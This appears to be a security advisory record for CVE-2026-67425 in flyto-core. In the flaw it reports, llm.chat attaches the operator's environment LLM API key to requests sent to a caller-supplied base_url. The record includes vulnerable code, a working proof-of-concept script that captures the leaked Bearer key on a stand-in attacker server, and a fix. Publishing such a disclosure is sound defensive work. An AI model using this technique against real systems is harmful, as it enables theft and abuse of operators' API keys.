{"id":"CVE-2026-67425","aliases":["GHSA-qq9q-xgm3-xv9g"],"title":"Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url","summary":"Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url","severity":"high","cvss":8.6,"cwe":["CWE-201","CWE-522"],"vendor":"flyto-core","product":"flyto-core","ecosystem":"pip","affected":["flyto-core < 2.26.7"],"patched":["flyto-core 2.26.7"],"published":"2026-07-30","updated":"2026-07-30","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-qq9q-xgm3-xv9g","references":[{"url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67425"},{"url":"https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"},{"url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"},{"url":"https://github.com/advisories/GHSA-qq9q-xgm3-xv9g"}],"tags":["ghsa","pip"],"epss":0.0032,"epssPercentile":0.25101,"ingestedAt":"2026-07-30T14:54:20.193Z","slug":"CVE-2026-67425","body":"## Overview\n\n## Summary\n\n`llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get('base_url')            # caller-controlled\nif base_url:\n    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes\nif not api_key:\n    api_key = os.getenv('OPENAI_API_KEY')     # operator's key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip('/') + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload)   # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # stand-in for the attacker's public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n    def do_POST(self):\n        CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n        ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n        b = b'{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}'\n        self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n    def log_message(self, *a): pass\n\nasync def main():\n    from core.modules.atomic import register_all\n    from core.modules.registry import ModuleRegistry\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n    res = await ModuleRegistry.execute(\"llm.chat\", params={\n        \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n    }, context={})\n    print(\"module ok:\", res.get(\"ok\"))\n    print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider's official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`'s `base_url`.\n\n## Affected packages\n\n- `flyto-core < 2.26.7`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `flyto-core 2.26.7`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}